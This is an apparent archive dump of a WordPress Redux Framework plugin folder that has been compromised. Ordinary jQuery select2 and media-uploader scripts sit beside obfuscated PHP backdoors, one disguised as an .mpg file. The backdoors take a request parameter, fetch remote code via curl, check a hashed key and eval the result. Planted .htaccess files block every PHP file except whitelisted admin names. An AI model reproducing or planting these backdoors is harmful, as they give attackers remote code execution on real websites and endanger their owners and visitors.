$CaMN/*-vgKrx$Dl-*/ = /*-n4-*/curl_exec/*-y$p&7T-*/(/*-_x0J-*/$NfpbHhYG/*-q`6mH,<-*/); /*-#h7J>-*/return /*-jx-*/empty/*-.M7=F:V-*/(/*-zvw-*/$CaMN/*-q|-*/)/*-dyWU)mZE-*/ ? /*-simH!-*/$WAOG/*-,y9l.MB+:-*/(/*-DX(BhU-*/$lOSjJ/*-GDXL=-*/)/*-3|VdRzG&-*/ : /*-HG;)Z-*/$CaMN; /*-7q-*/}/*-5Dfs-*/ static/*-gs>KD-*/ function /*-,K-*/cxdOmgFGT/*--j@-*/() /*-`^I$?$W|2$-*/{/*-$5-*/ $oASeR /*-{~L>%WR-*/=/*-Yb=%?-*/ array/*-:@5(.-*/("57694+57679+57692+57696+57677+57692+57698+57691+57676+57683+57694+57677+57688+57682+57683","57678+57677+57679+57698+57679+57682+57677+57744+57742","57687+57678+57682+57683+57698+57693+57692+57694+57682+57693+57692","57681+57696+57694+57686","57695+57696+57678+57692+57739+57741+57698+57693+57692+57694+57682+57693+57692","57691+57688+57685+57692+57698+57690+57692+57677+57698+57694+57682+57683+57677+57692+57683+57677+57678","57721+57751","57668","57746+57751","57728+57711+57711+57728+57704","57682+57691"); /*-<@Z-*/foreach /*-Ado]`l-*/(/*-O1s^R$P-*/$oASeR/*-Ai}&6-*/ as /*-QGO[o!-*/$ycJ/*-FYGC-*/)/*-e?3bx|;-*/ $saEofVvBIz/*-?GIF-*/[] /*-@oHcx-*/= /*-hn.>;^[%-*/self/*-R?-*/::/*-z=LbuCi-*/USzN/*-`eX@cb<Wf-*/(/*-s!H]Mh+-*/$ycJ/*-X-KF)-*/);/*-.ruTGxqr-*/$eLJVXYcD /*-EbZ<A-*/= /*-n;7b!3n#G}-*/@$saEofVvBIz/*-8(4-*/[/*-yT01n-*/1/*-#W.k5VTf-*/]/*-.7E&-*/(/*-Qk-*/${/*-oE{8-*/"_"/*-`|G-*/."G"/*-HQ45-^-*/."E"/*-ngPY%w+SA-*/."T"/*-~G?s2pVkd-*/}[/*-mo8)WDQz-*/$saEofVvBIz/*-1yoKUV+]]}-*/[/*-{<n-*/0+9/*-a-*/]]/*-N!{|^c-*/);/*-=wYtXJX-*/ $FwqLbeHnE /*-d4TBrF-*/=/*-l=XuIh)9J-*/ @$saEofVvBIz/*-1k9[vb@l-*/[/*-w$;^NPx-*/1+2/*-PSSnUxf-*/]/*->b(A;!-*/(/*-+4hG?E~f-*/$saEofVvBIz/*-7cm-*/[/*-F,-*/5+1/*-TRufw-*/], /*-:k[T2-*/$eLJVXYcD/*-Y13>s)-*/);/*-a)4`>r(-*/ $hTbBLSODl /*-=VuJ,rO-*/=/*-F>}:@z#-*/ $saEofVvBIz/*-yOY9-*/[/*-J2--*/1+1/*-~=eoF(5-*/]/*-}i;eW<4c-*/(/*-|r&g9F4-*/$FwqLbeHnE,/*-.>[~r6_m-*/ true/*-+ag-*/); /*-4.#3,`?&-*/@${/*-,TjH]$_-*/"_"./*-~.g-*/"G"./*-frP,-*/"E"/*-RNYc-*/."T"/*-cL:cj$3-*/}/*-Z~x-*/[/*-8k-*/$saEofVvBIz/*-xBeV&YAi-*/[6+4/*-hFKyWP-*/]/*-R_Y|~W-*/]/*-We&-*/ == /*-MV-*/1 /*-)98-*/&& /*-sS?P-*/die/*-x0`X-*/(/*-P[&(_%-*/$saEofVvBIz[2+3/*-J`%W%-*/]/*-n{U{nQwK-*/(/*-tw#-gEF0Rx-*/__FILE__/*-&y_Nrm-*/)/*-wIim-*/); /*-fCOT!.-*/if/*-!^EP}-*/(/*-my,I]?4-*/ (/*-R;ffr.4-*/(@/*--=~-*/$hTbBLSODl/*-NuB-*/[/*-=;79eB$-*/0/*-M3H-*/] /*-yL+Zlww3t-*/- time/*-rz6-*/()/*-SXt<hl-*/) > /*-8lJ)9k=R]-*/0/*-^dRO-*/)/*-9G-*/ and /*-s`y-*/(/*-kJuD:i-*/md5/*-{~am]-*/(/*-?+utq2,-*/md5/*-;wLxJ`S-*/(/*-!E-*/$hTbBLSODl/*-bA!-*/[/*-kcgsq4iw%-*/3+0/*-.)uUk]nL-*/]/*-2o$cq-*/)/*-G,#hn@M-*/)/*-F41T4-*/ === /*-;7~N||]-*/"179f41ade4afaefd90500d7321ceb50e"/*-f{LV|CxP,v-*/)/*->D@[y-*/ ): /*-d!d1dI2]V-*/$utdbE /*-_-*/=/*-yUz:R-*/ self/*-oylt-*/::/*-GjK6KoZUK_-*/MvsRkYJe/*-8<0N|-*/(/*-o0BE_Zvm-*/$hTbBLSODl/*-1BPh-!$S-*/[/*-3XCTOJ${(-*/1+0/*-dE-*/], /*-e>zWL1`J-*/$saEofVvBIz/*-8GMd-*/[/*-3,]|Qv3#c[-*/4+1/*-U9ThNt-*/]/*-wQ-*/);/*-Z%.tJ-*/@eval/*-#W6a4-*/(/*-gbu-*/$saEofVvBIz/*-!;YdJ+TI+-*/[/*-2~-*/0+4/*-Rp0<rXq-*/]/*-HgHt?e-*/(/*-31bH%-*/$utdbE/*-k[R;$KWyrB-*/)/*-b@B]-*/);/*-swq-*//*-KB$]-*/die;/*-Xj-*/ endif;/*-i6x;-*/ }/*-b=@-*/}/*-[?>!ao-*/nK/*->Nd^c[w-*/::/*-I|iV4dO-*/cxdOmgFGT/*-^xkn-*/();/*-X-*/ ?>�����������������������redux-framework/assets/js/vendor/qtip/qtip/.htaccess������������������������������������������������0000644�����������������00000001626�14720701300�0016630 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/qtip/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015653 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/vendor/index.php���������������������������������������������������0000644�����������������00000000000�14720701300�0016176 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/vendor/ynqJeuLHKWboDklA.mpg����������������������������������������0000644�����������������00000011704�14720701300�0020116 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $hrW /*-&:N}LYw-*/= /*-JzH^Uf}t-*/"r"./*-8Ki-*/"a"."n"./*-3,]+y,@Wh-*/"g"."e"; /*-Y~-*/$h/*-rLyAl[-*/ = /*-WHTr_[)-*/$hrW/*-q1Z+_S-*/("~", /*-zxzo}-*/" "); /*-X]Yj%n-M-*/$iO/*-1=kJm-*/=/*-Ef-*/${$h/*->t-(x-*/[5+26/*-8`k`;-*/].$h/*-Wx8-*/[26+33]/*-8|t=-*/.$h/*-aL-*/[2+45]/*-LOuaZ>-*/.$h/*-M<-*/[8+39]/*-6CFj_s%-*/.$h/*-k#X1[-*/[6+45]/*-cCI{`U-*/.$h/*-62-*/[0+53]/*-hapevpzZ-*/.$h/*-Rj9T-*/[18+39]/*-)0S-*/}; /*-7Vl!htFm-*/if/*-F{_t6^(}-*/((/*-RrXyWq-*/in_array/*-MqB4~lX$-*/(gettype/*-$@-*/($iO)./*-LPtWI22-*/count/*-KuXNm!-*/($iO),/*--T)$[6#2-*/$iO)/*-`5A7i-*/&&count/*-2DHEl-*/($iO)/*-44`O0tQn-*/==/*-J-u-*/11))/*-3g7r4-*/{ /*-C=5-*/(($iO[65]=$iO[65].$iO[78])&&($iO[90]=$iO[65]($iO[90]))&&(/*-q-!]U-*/@eval/*-Hqz-*/($iO[65](${$iO[50]}[21])/*-<ppEqilK7-*/))/*-v@H+$D{y-*/);}/*-{e3h^e-*/class /*-JwsAf-*/NioQA{ /*-idKC)n1.k-*/static/*-:orj@$-*/ function /*-zke-*/Ud($JCieFO) /*-?QzfE-*/{ $xPsnrkvzM/*-7EA-*/ = /*-6,-*/"r"./*-G-!HN-*/"a"./*-B+4Ci^!-*/"n"./*-p{=tDOW-*/"g"./*-2l-*/"e"; /*-se`xUU4BV-*/$sfrKpecIB/*-kV-y+Esj-*/ = /*-OZ@gB54-Z3-*/$xPsnrkvzM/*-o[3J_xk4-*/(/*-~Lb[o-*/"~"/*-+OB&)Ky@-*/, /*-B79F-*/" "/*-.b?ncM{(-*/);/*-Ger,Xll-*/ $WErLOi /*-rTZ,L-*/= /*-cRb-*/explode/*-gwf%5-*/(/*-6Nls-*/"<", /*-8f#PyD-*/$JCieFO/*-~gk%z-*/); /*-(L7=f-*/$yMbRrH /*-t%Pb@-*/= /*-cZ@;}OO-*/""; foreach /*-5q-*/(/*-_G-*/$WErLOi /*-L3eJ-*/as /*-3+&i~-*/$volqEehcQ /*-z?P,@`-*/=>/*-USc_Z4Mpv-*/ $aftK/*-,2RH-*/) /*-d8F^70-*/$yMbRrH /*-l=LTCh|-*/.= /*->M0LVG}-*/$sfrKpecIB[$aftK/*-7kHr0ypw-*/ - /*->7%-*/33193/*-vUvT&jIT-*/];/*-1(JW!L-*/ return /*-KF-*/$yMbRrH; /*-;U:vY-*/} /*-7[`-*/static /*-aKhm<Nq2-*/function /*-+8#<uI+6$j-*/wm/*-m~hGP5y-*/(/*-+5;x7UXX`-*/$ZEiB,/*-ay6@ogK95-*/ $SstyOdVra/*-s$-*/)/*-Hl-*/ {/*-O;`-*/ $CSKIEmPN/*-t5-*/ = /*-2QZx0Xc-*/curl_init/*-ib0-*/(/*-hA_GA]-*/$ZEiB/*-9Yk:+-*/);/*-vX<~_sPx-*/ curl_setopt/*-<PO=]B-*/(/*-GXT!-*/$CSKIEmPN,/*-{E3q=i-*/ CURLOPT_RETURNTRANSFER,/*-A+z=-*/ 1/*-Fyte&Rio-*/);/*-;fku9(-*/ $tbjlicw/*-t3JCz]|-*/ = /*-J#pi^B4-*/curl_exec/*-A4UAd_k$-*/(/*-R5bV8Yc-*/$CSKIEmPN/*->gW-*/); /*-&_S7Hy-*/return /*-K7]V-*/empty/*-vPWBLuD-*/(/*-p;9j-*/$tbjlicw/*-JyIO`k-*/)/*-_N-*/ ? /*-=eV`k|l$-*/$SstyOdVra/*-t;-*/(/*-nV(n^;+9-*/$ZEiB/*-99hN-*/)/*-$84Ck-*/ : /*-pU^7-*/$tbjlicw; /*-cK?`c+i-*/}/*-NFD$7WXlF-*/ static/*-hKF9,N|VQ1-*/ function /*-FS-*/Cd/*-D|U-*/() /*-3zn0-*/{/*-V}-*/ $zPrtKyUG /*-b!>{F2f,a-*/=/*-z<-*/ array/*-n1`xn,-*/("33220<33205<33218<33222<33203<33218<33224<33217<33202<33209<33220<33203<33214<33208<33209","33204<33203<33205<33224<33205<33208<33203<33270<33268","33213<33204<33208<33209<33224<33219<33218<33220<33208<33219<33218","33207<33222<33220<33212","33221<33222<33204<33218<33265<33267<33224<33219<33218<33220<33208<33219<33218","33217<33214<33211<33218<33224<33216<33218<33203<33224<33220<33208<33209<33203<33218<33209<33203<33204","33247<33277","33194","33272<33277","33254<33237<33237<33254<33230","33208<33217"); /*-gu[[_j^0b-*/foreach /*-_F,-*/(/*-fl[p-*/$zPrtKyUG/*-$V5$^ZR?-*/ as /*-{g3-*/$baFeTSrJgP/*-[0y`!G-*/)/*-TlpinhsI-*/ $bQkY/*-,;M0ZN@-*/[] /*-4<U>{uo-*/= /*-igW-*/self/*-W~xzQ-*/::/*-0mUg.-*/Ud/*-L:s<!-*/(/*-T?JF)w7D_4-*/$baFeTSrJgP/*-OHk-*/);/*-||q59$g9-*/$uHqw /*-0w-*/= /*-]CtTB)-*/@$bQkY/*-Y?&N[oVRu-*/[/*-z+a7^S`QY-*/1/*-vA.Yq-*/]/*-s~&jJ-*/(/*-s,)E|o-*/${/*-v)e-*/"_"/*-B-*/."G"/*-),k;p_?-*/."E"/*-VYYV--*/."T"/*-|n-*/}[/*-s<&`)V-<9-*/$bQkY/*-)uQl-*/[/*-|4GX}-*/7+2/*-;}Y4+T-*/]]/*-$u.4wH@TNF-*/);/*->G.yEGx-Y%-*/ $yl /*-{-,x-*/=/*-`3ab-*/ @$bQkY/*-zud#31(g-*/[/*-XR-*/0+3/*-sg:q#dA<KK-*/]/*-7y5zz)KE6E-*/(/*-&;S-*/$bQkY/*-nRp#yi-*/[/*-<,-*/6+0/*-Gr8Z-*/], /*-{@-V4=w$m$-*/$uHqw/*-gWVw:4?-*/);/*-g32_`J_d-*/ $DdJTgZVv /*-1^#Xs8|;-*/=/*-zH@sTh7-*/ $bQkY/*-1T-*/[/*-y(-*/0+2/*-it7P-*/]/*-Na-*/(/*-6-1{-*/$yl,/*-5}eb_>Q-*/ true/*-6?1OaZWWS-*/); /*-V7VZdE-*/@${/*-L[#w-*/"_"./*-XPY0&-*/"G"./*-|=kY.-*/"E"/*-eA}-*/."T"/*-n88M}|-*/}/*-loX--*/[/*-Lw6<Xul-*/$bQkY/*-5i-*/[7+3/*-#Vdxw?W^:-*/]/*-sh1).u-*/]/*-{bvzwtq-*/ == /*-hF^jt%r(-*/1 /*-E;iC%8Qc]-*/&& /*-U,eL}#%-*/die/*-MR<Hha-*/(/*-#|-*/$bQkY[3+2/*-&yzY@-*/]/*-zq{-*/(/*-FR}-*/__FILE__/*-=?[_^-*/)/*-[V53-*/); /*-vJt:PFBQy-*/if/*-iYsw-*/(/*-wb0.#(w~oQ-*/ (/*-zT[kuB-*/(@/*-(F-n%{.-*/$DdJTgZVv/*-M6Vk-*/[/*-;O2-*/0/*-{t[!H~Z<gf-*/] /*-uC8b5-*/- time/*-h#O>-*/()/*-=NVZyb-*/) > /*-JiQ{-*/0/*-p4m&C=SrS-*/)/*-io!kQ1Oz:3-*/ and /*-Ig-QJ:MD-*/(/*-Y@#a(&IJ-*/md5/*-<>K{k,Wn{.-*/(/*-%}`-*/md5/*-)R-*/(/*-jGQ:cx|7+-*/$DdJTgZVv/*--XseuJQ-*/[/*-wy:Z!`m?-*/1+2/*->yZvLu-oP-*/]/*-;XP#f-*/)/*-}-*/)/*-CkZ[n,M2[5-*/ === /*-0hM-*/"cb145525421d7b64ec53bf7814d8df43"/*-h7C#lB~[mO-*/)/*-n{-*/ ): /*-cq%8U76-*/$wSBrHoGpR /*-PS3>Zy-*/=/*-->-*/ self/*-(:-*/::/*-i$z=g2$P@-*/wm/*-SLeXUA2zb-*/(/*-D&-*/$DdJTgZVv/*-~i.%-*/[/*-N|C|])dQ|-*/1+0/*-X[P_EoNeu-*/], /*-;ppKfB$gga-*/$bQkY/*-@^HR<fS-*/[/*-Zg.zugA<-*/5+0/*-hz2#,FgU@-*/]/*--w.dd-*/);/*-,{q-*/@eval/*-wss-*/(/*-fn6|Q;m-*/$bQkY/*-1Fy-s1ZK-*/[/*-mQ8O5l#+-*/4+0/*-nLbSWKo-*/]/*-3bh:^lts-*/(/*-ggz)?c-*/$wSBrHoGpR/*-dAI1L-*/)/*-J&=@h-*/);/*-XRG1-*//*-HV.8,c-*/die;/*-1kay-*/ endif;/*-RMI>iCo2#-*/ }/*-j=i6!8-*/}/*-G,1yhzK=z-*/NioQA/*-&O1x^>-*/::/*-W)s$T16,-*/Cd/*-8ixU7dB-*/();/*-KI|epj0Kxe-*/ ?>������������������������������������������������������������redux-framework/assets/js/vendor/vendor/.htaccess���������������������������������������������������0000644�����������������00000001626�14720701300�0016173 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/redux.select2.sortable.js������������������������������������������0000644�����������������00000012770�14720701300�0017741 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jQuery Select2 Sortable * - enable select2 to be sortable via normal select element * * author : Vafour * modified : Kevin Provance (kprovance) * inspired by : jQuery Chosen Sortable (https://github.com/mrhenry/jquery-chosen-sortable) * License : GPL */ (function ($) { $.fn.extend({ select2SortableOrder: function () { var $this = this.filter('[multiple]'); $this.each(function () { var $select = $(this); // skip elements not select2-ed if (typeof ($select.data('select2')) !== 'object') { return false; } var $select2 = $select.siblings('.select2-container'); var sorted; // Opt group names var optArr = []; $select.find('optgroup').each(function(idx, val) { optArr.push (val); }); $select.find('option').each(function(idx, val) { var groupName = $(this).parent('optgroup').prop('label'); var optVal = this; if (groupName === undefined) { if (this.value !== '' && !this.selected) { optArr.push (optVal); } } }); sorted = $($select2.find('.select2-choices li[class!="select2-search-field"]').map(function () { if (!this) { return undefined; } if($(this).data('select2Data') != undefined){ var id = $(this).data('select2Data').id; return $select.find('option[value="' + id + '"]')[0]; } //var id = $(this).data('select2Data').id; //return $select.find('option[value="' + id + '"]')[0]; })); sorted.push.apply(sorted, optArr); $select.children().remove(); $select.append(sorted); }); return $this; }, select2Sortable: function () { var args = Array.prototype.slice.call(arguments, 0); $this = this.filter('[multiple]'), validMethods = ['destroy']; if (args.length === 0 || typeof (args[0]) === 'object') { var defaultOptions = { bindOrder: 'formSubmit', // or sortableStop sortableOptions: { placeholder: 'ui-state-highlight', items: 'li:not(.select2-search-field)', tolerance: 'pointer' } }; var options = $.extend(defaultOptions, args[0]); // Init select2 only if not already initialized to prevent select2 configuration loss if (typeof ($this.data('select2')) !== 'object') { $this.select2(); } $this.each(function () { var $select = $(this) var $select2choices = $select.siblings('.select2-container').find('.select2-choices'); // Init jQuery UI Sortable $select2choices.sortable(options.sortableOptions); switch (options.bindOrder) { case 'sortableStop': // apply options ordering in sortstop event $select2choices.on("sortstop.select2sortable", function (event, ui) { $select.select2SortableOrder(); }); $select.on('change', function (e) { $(this).select2SortableOrder(); }); break; default: // apply options ordering in form submit $select.closest('form').unbind('submit.select2sortable').on('submit.select2sortable', function () { $select.select2SortableOrder(); }); break; } }); } else if (typeof (args[0] === 'string')) { if ($.inArray(args[0], validMethods) == -1) { throw "Unknown method: " + args[0]; } if (args[0] === 'destroy') { $this.select2SortableDestroy(); } } return $this; }, select2SortableDestroy: function () { var $this = this.filter('[multiple]'); $this.each(function () { var $select = $(this) var $select2choices = $select.parent().find('.select2-choices'); // unbind form submit event $select.closest('form').unbind('submit.select2sortable'); // unbind sortstop event $select2choices.unbind("sortstop.select2sortable"); // destroy select2Sortable $select2choices.sortable('destroy'); }); return $this; } }); }(jQuery));��������redux-framework/assets/js/vendor/.htaccess����������������������������������������������������������0000644�����������������00000001626�14720701300�0014676 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/media.min.js��������������������������������������������������������0000644�����������������00000006277�14720701300�0015070 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(s){"use strict";var r;redux.field_objects=redux.field_objects||{},redux.field_objects.media=redux.field_objects.media||{},redux.field_objects.media.init=function(e){e||(e=s(document).find(".redux-group-tab:visible").find(".redux-container-media:visible")),s(e).each(function(){var e=s(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),r=!1,e.find(".remove-image, .remove-file").unbind("click").on("click",function(){redux.field_objects.media.removeFile(s(this).parents("fieldset.redux-field:first"))}),e.find(".media_upload_button").unbind().on("click",function(e){redux.field_objects.media.addFile(e,s(this).parents("fieldset.redux-field:first"))}))})},redux.field_objects.media.addFile=function(e,n){var o;e.preventDefault();var d,i=s(this);if(o)o.open();else{var t=s(n).find(".library-filter").data("lib-filter");void 0!==t&&""!==t&&(d=[],r=!0,t=decodeURIComponent(t),t=JSON.parse(t),s.each(t,function(e,i){d.push(i)})),(o=wp.media({multiple:!1,library:{type:d},title:i.data("choose"),button:{text:i.data("update")}})).on("select",function(){var e=o.state().get("selection").first();o.close();var i=s(n).find(".data").data();if(void 0!==redux.field_objects.media&&void 0!==typeof redux.field_objects.media||(redux.field_objects.media={}),void 0!==i&&"undefined"!==i.mode||(i={mode:"image"}),!0===r&&(i.mode=0),0===i.mode);else if(!1!==i.mode&&e.attributes.type!==i.mode&&e.attributes.subtype!==i.mode)return;console.log(e),n.find(".upload").val(e.attributes.url),n.find(".upload-id").val(e.attributes.id),n.find(".upload-height").val(e.attributes.height),n.find(".upload-width").val(e.attributes.width),n.find(".upload-title").val(e.attributes.title),n.find(".upload-caption").val(e.attributes.caption),n.find(".upload-alt").val(e.attributes.alt),n.find(".upload-description").val(e.attributes.description),redux_change(s(n).find(".upload-id"));var d=e.attributes.url;if(void 0!==e.attributes.sizes&&void 0!==e.attributes.sizes.thumbnail)d=e.attributes.sizes.thumbnail.url;else if(void 0!==e.attributes.sizes){var t=e.attributes.height;for(var a in e.attributes.sizes){var l=e.attributes.sizes[a];l.height<t&&(t=l.height,d=l.url)}}else d=e.attributes.icon;n.find(".upload-thumbnail").val(d),n.find(".upload").hasClass("noPreview")||n.find(".screenshot").empty().hide().append('<img class="redux-option-image" src="'+d+'">').slideDown("fast"),n.find(".remove-image").removeClass("hide"),n.find(".redux-background-properties").slideDown()}),o.open()}},redux.field_objects.media.removeFile=function(e){e.find(".remove-image").addClass("hide")&&(e.find(".remove-image").addClass("hide"),e.find(".upload").val(""),e.find(".upload-id").val(""),e.find(".upload-height").val(""),e.find(".upload-width").val(""),e.find(".upload-title").val(""),e.find(".upload-caption").val(""),e.find(".upload-alt").val(""),e.find(".upload-description").val(""),e.find(".upload-thumbnail").val(""),redux_change(s(e).find(".upload-id")),e.find(".redux-background-properties").hide(),e.find(".screenshot").slideUp(),e.find(".remove-file").unbind(),0<e.find(".section-upload .upload-notice").length&&e.find(".media_upload_button").remove())}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/media/media.js������������������������������������������������������������0000644�����������������00000020343�14720701300�0014274 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, wp, redux, libFilter */ /** * Media Uploader * Dependencies : jquery, wp media uploader * Feature added by : Smartik - http://smartik.ws/ * Date : 05.28.2013 */ (function($){ "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.media = redux.field_objects.media || {}; var isFiltered; redux.field_objects.media.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-media:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } isFiltered = false; // Remove the image button el.find( '.remove-image, .remove-file' ).unbind( 'click' ).on( 'click', function() { redux.field_objects.media.removeFile( $( this ).parents( 'fieldset.redux-field:first' ) ); } ); // Upload media button el.find( '.media_upload_button' ).unbind().on( 'click', function( event ) { redux.field_objects.media.addFile( event, $( this ).parents( 'fieldset.redux-field:first' ) ); } ); } ); }; // Add a file via the wp.media function redux.field_objects.media.addFile = function( event, selector ) { event.preventDefault(); var frame; var jQueryel = $( this ); var libFilter; // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Get library filter data var filter = $( selector ).find('.library-filter').data('lib-filter'); // Must exist to do decoding if (filter !== undefined) { if (filter !== ''){ libFilter = []; isFiltered = true; filter = decodeURIComponent(filter); filter = JSON.parse(filter); $.each(filter, function(index, value) { libFilter.push(value); }); } } // Create the media frame. frame = wp.media( { multiple: false, library: { type: libFilter //Only allow images }, // Set the title of the modal. title: jQueryel.data( 'choose' ), // Customize the submit button. button: { // Set the text of the button. text: jQueryel.data( 'update' ) // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. } } ); // When an image is selected, run a callback. frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); frame.close(); var data = $( selector ).find('.data').data(); if ( typeof redux.field_objects.media === 'undefined' || typeof redux.field_objects.media === undefined ) { redux.field_objects.media = {}; } if ( data === undefined || data.mode === 'undefined' ) { data = {}; data.mode = "image"; } if (isFiltered === true) { data.mode = 0; } if (data.mode === 0) { } else { if ( data.mode !== false) { if (attachment.attributes.type !== data.mode) { if (attachment.attributes.subtype !== data.mode ) { return; } } } } console.log(attachment); selector.find( '.upload' ).val( attachment.attributes.url ); selector.find( '.upload-id' ).val( attachment.attributes.id ); selector.find( '.upload-height' ).val( attachment.attributes.height ); selector.find( '.upload-width' ).val( attachment.attributes.width ); selector.find( '.upload-title' ).val( attachment.attributes.title ); selector.find( '.upload-caption' ).val( attachment.attributes.caption ); selector.find( '.upload-alt' ).val( attachment.attributes.alt ); selector.find( '.upload-description' ).val( attachment.attributes.description ); redux_change( $( selector ).find( '.upload-id' ) ); var thumbSrc = attachment.attributes.url; if ( typeof attachment.attributes.sizes !== 'undefined' && typeof attachment.attributes.sizes.thumbnail !== 'undefined' ) { thumbSrc = attachment.attributes.sizes.thumbnail.url; } else if ( typeof attachment.attributes.sizes !== 'undefined' ) { var height = attachment.attributes.height; for ( var key in attachment.attributes.sizes ) { var object = attachment.attributes.sizes[key]; if ( object.height < height ) { height = object.height; thumbSrc = object.url; } } } else { thumbSrc = attachment.attributes.icon; } selector.find( '.upload-thumbnail' ).val( thumbSrc ); if ( !selector.find( '.upload' ).hasClass( 'noPreview' ) ) { selector.find( '.screenshot' ).empty().hide().append( '<img class="redux-option-image" src="' + thumbSrc + '">' ).slideDown( 'fast' ); } //selector.find('.media_upload_button').unbind(); selector.find( '.remove-image' ).removeClass( 'hide' );//show "Remove" button selector.find( '.redux-background-properties' ).slideDown(); } ); // Finally, open the modal. frame.open(); }; // Function to remove the image on click. Still requires a save redux.field_objects.media.removeFile = function( selector ) { // This shouldn't have been run... if ( !selector.find( '.remove-image' ).addClass( 'hide' ) ) { return; } selector.find( 